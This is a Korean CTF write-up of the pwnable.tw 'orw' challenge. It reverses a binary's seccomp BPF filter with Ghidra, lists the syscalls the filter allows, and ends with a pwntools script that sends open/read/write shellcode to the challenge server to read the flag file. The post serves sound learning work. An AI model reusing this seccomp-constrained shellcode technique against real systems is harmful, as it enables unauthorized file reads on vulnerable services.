[0x01] orw

c0np4nn4·2022년 3월 13일
0

pwnable.tw

목록 보기
1/1
post-thumbnail

🕶 정적분석 w/ Ghidra

1. main()

  • main함수는 다음 순서로 동작한다.
    • orw_seccomp를 호출
    • shellcode라는 변수에 stdin으로 200 byte의 값을 입력
    • shellcode에 저장된 값을 호출
  • 마지막 동작은 어셈블리어를 보면 좀 더 직관적으로 알 수 있다.

  • orw_seccomp가 없다면 단순히 shellcode injection 문제가 됐을 것이다.

2. orw_seccomp()

line 5 ~ 23

  • line 5 ~ line 23을 살펴보면
    • line 14 : in_GS_OFFSET0x14를 더해서 local_20의 값으로 할당한다.
    • line 15 : puVar2&DAT_08048640을 가리킨다.
    • line 16 : puVar3local_80을 가리킨다.
    • line 17 ~ 21 : puVar3puVar2의 값을 모두 복사한다. (총 24 byte)
    • line 22 : local_880x0c 값을 넣는다.
    • line 23 : local_84local_80을 가리킨다.

line 24 ~ 25

  • line 24, 25prctl함수를 호출하는 부분이다.

    • line 24 : prctl( 0x26, 1, 0, 0, 0 )을 호출한다.
    • line 25 : prctl( 0x16, 2, local_88 )을 호출한다.
  • prctl 함수는 링크 에서 확인할 수 있듯이 프로세스에서의 연산을 제어하는 함수이다.

  • 함수의 첫 번째 인자에 관해서는 링크 에서 확인할 수 있다.

  • prctl( 0x26, 1, 0, 0, 0 )
    • 0x26 == 38 == PR_SET_NO_NEW_PRIVS
    • 호출한 스레드에 대해 두 번째 인자(arg2)를 no_new_privs bit로 설정한다.
    • 만약 1이라면, execve() 함수로 호출한 작업들에 대해 권한(privileage)을 주지 않음.
    • 즉, execve()함수를 사용할 수 없음
  • prctl( 0x16, 2, local_88 )
    • 0x16 == 22 == PR_SET_SECCOMP
    • 호출한 스레드에 대해 seccomp 모드를 실행함
    • seccomp 모드에서는 가능한 system call이 제한됨
    • seccomp 모드는 두 번째 인자(arg2)를 통해 설정되는데, 2링크를 통해 확인할 수 있으며, SECCOMP_MODE_FILTER이다.
    • 이는 세 번째 인자(arg3)의 값을 참조하여 허용된 system call만을 사용할 수 있음을 의미한다.
    • arg3sock_fprog 구조체를 가리키는 포인터이며, sock_fprog링크 에 정의되어 있으며, 구조는 아래와 같다.
struct sock_filter {	/* Filter block */
	__u16	code;   /* Actual filter code */
	__u8	jt;	/* Jump true */
	__u8	jf;	/* Jump false */
	__u32	k;      /* Generic multiuse field */
};
 struct sock_fprog {	/* Required for SO_ATTACH_FILTER. */
	unsigned short		len;	/* Number of filter blocks */
	struct sock_filter __user *filter;
};
  • 따라서, local_88부터 시작되는 데이터들을 구조체 형태로 재구성 할 필요가 있다.

line 25 (deep)

  • prctl(0x16, 2, local_88)을 말로 풀어서 적으면 아래와 같다.

    📢 local_88 에서 명시한 system call만을 허용한다 !

  • 따라서, local_88을 제대로 알아야 이 프로세스(스레드)가 어떻게 동작할지 예상할 수 있다.

  • 스택 주소의 상황을 개념적으로 그리면 아래와 같다.

    addr: ----------[EBP-0x88]------------[EBP-0x84]-----------[EBP-0x80]---------
    value: ---------[0x0c][0x00]---------[&(EBP-0x80)]----------[DAT_08048640]-------

  • sock_fprog 구조체에서, 첫 번째 인자는 Number of Filter Blocks이라고 했으므로 0x0c는 필터링되는 systemcall이 총 12개 임을 의미한다.

  • 이제 DAT_08048640을 살펴본다.

  • 데이터를 sock_filter 구조에 맞게 재구성해본다.

20 00  |  00  |  00  |  04 00 00 00
15 00  |  00  |  09  |  03 00 00 40 
20 00  |  00  |  00  |  00 00 00 00 
15 00  |  07  |  00  |  ad 00 00 00 
15 00  |  06  |  00  |  77 00 00 00 
15 00  |  05  |  00  |  fc 00 00 00 
15 00  |  04  |  00  |  01 00 00 00 
15 00  |  03  |  00  |  05 00 00 00 
15 00  |  02  |  00  |  03 00 00 00 
15 00  |  01  |  00  |  04 00 00 00 
06 00  |  00  |  00  |  26 00 05 00 
06 00  |  00  |  00  |  00 00 ff 7f
  • 12개의 sock_filter 구조의 데이터 덩어리가 생겼다. 이제 각각이 어떤 의미인지 살펴봐야 한다.
  • 링크 에서 BPF를 언급하므로, 이에 관해 살펴본다.

BPF

  • 링크를 통해 sock_filter에서 각 필드 값을 어떻게 해석하면 되는지 알 수 있었다 (thanks to lcy)

  • 링크를 통해 [field] + [class] 형태로 opcode가 만들어지는 것이라 파악했다.

{ opcode, jt, jf, k }
20 00  |  00  |  00  |  04 00 00 00	|| ABS LD, 0x04
15 00  |  00  |  09  |  03 00 00 40 || JEQ if not 0x09, 0x040003
20 00  |  00  |  00  |  00 00 00 00 || ABS LD, 0x00
15 00  |  07  |  00  |  ad 00 00 00 || JEQ if 0x07, 0xad
15 00  |  06  |  00  |  77 00 00 00 || JEQ if 0x06, 0x77
15 00  |  05  |  00  |  fc 00 00 00 || JEQ if 0x05, 0xfc
15 00  |  04  |  00  |  01 00 00 00 || JEQ if 0x04, 0x01
15 00  |  03  |  00  |  05 00 00 00 || JEQ if 0x03, 0x05
15 00  |  02  |  00  |  03 00 00 00 || JEQ if 0x02, 0x03
15 00  |  01  |  00  |  04 00 00 00 || JEQ if 0x01, 0x04
06 00  |  00  |  00  |  26 00 05 00 || return #0x500026
06 00  |  00  |  00  |  00 00 ff 7f || return #0x7fff0000
  • 어셈블리 형태로는 코드가 파악되었으나 이를 좀 더 직관적으로 볼 수 있는 방법이 필요했다.
  • 도저히 이 다음으로는 혼자 힘으로 넘어갈 수 없다고 판단. 구글링을 통해 seccomp에 관련된 툴을 검색했다.

  • 살펴보니 적절한 도구를 발견한 듯 했다.

  • 특히 바이너리 파일을 넣으면 내부의 seccomp bpf 에 대한 정보를 오른쪽에 출력해주는 dump 기능을 이용하면 될 것이라 생각했다.

  • 덤프 결과를 확인해보면 sys_number가 아래에 해당할 때 ALLOW됨을 알 수 있다(goto 0011 == return ALLOW)
    • rt_sigreturn
    • sigreturn
    • exit_group
    • exit
    • open
    • read
    • write
  • main함수에서 쉘코드를 받은 후 실행하는 코드를 넣으면 된다는 점을 생각해보면,
    read, write, open, exit을 비롯한 상기한 system call들만을 이용해서 쉘코드를 만들면 됨을 알 수 있다.
  • 여담으로 위의 rt_sigreturnsigreturn의 차이가 궁금해서 구글링을 해보니 아래와 같은 자료를 찾았다.
  • 링크: Stackoverflow
  • 정리하면, rt_sigreturnsigreturn에서 확장된 sigset_t를 지원하기 위해 추가된 것이며, 둘 다 같은 기능을 하는 함수이다.

♟ Exploit

  • 본 문제는 main에서 대놓고 쉘코드를 실행시켜준다고 명시하고 있기 때문에 취약점이라 부르기 좀 어려워 보인다.
  • 하지만, conditional shellcode를 작성해본다는 점에서 의미 있는 문제라 생각했다.
  • 사용할 수 있는 syscall이 제한되어 있지만, 다행히 문제 소개에서 다음의 힌트를 주고 있어 open, read, write만 있으면 flag를 읽는 것이 어렵지 않음을 알 수 있다.

  • exploit script의 구성은 아래와 같다.

    1. [open] sys_open을 이용해 플래그를 읽어 온다.
    2. [read] sys_read를 이용해 sys_open의 리턴 값(fd)이 담긴 EAX레지스터로부터 bss영역으로 값을 읽어온다.
      • 문제에 등장하는 변수 shellcodebss영역에 존재한다.
      • 따라서, 플래그 길이만큼 떨어진 곳의 영역을 이용해보고자 했다.
      • : If len(flag) == 0x30, Then using &shellcode + 0x30
    3. [write] sys_write를 이용해 플래그 값을 저장한 영역으로부터 stdout으로 값을 출력한다.
  • pwntools 를 이용해 아래와 같이 exploit script를 작성하고 문제를 해결했다.

from pwn import *

#p = process("./orw")
p = remote("chall.pwnable.tw", 10001)
e = ELF("./orw")

shellcode_addr = 0x0804a060
len_flag = 0x50
target_addr = shellcode_addr + len_flag

shellcode  = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax', target_addr,  len_flag)
shellcode += shellcraft.write(1, target_addr, len_flag)

shellcode = asm(shellcode)

p.sendline(shellcode)
p.interactive()
  • 이 때, shellcraft링크 부분에서 미리 구현된 특정 sys_call에 대한 .asm 파일을 참고하여 어셈블리어를 만들어준다.

  • shellcraft.read 에서 첫 번째 인자로 eax를 넣어준 이유는 shellcraft.open의 결과(fd)가 eax레지스터에 저장되기 때문이다.


다만, 위에서 len_flag 값을 0x30으로 바꾸면 문제가 해결되지 않았다.
이는 로컬에서 gdb를 이용하면 파악할 수 있을 것이다.
이에 관해서는 추후 자세히 다뤄보도록 하겠다.

profile
He11o W0r1d

0개의 댓글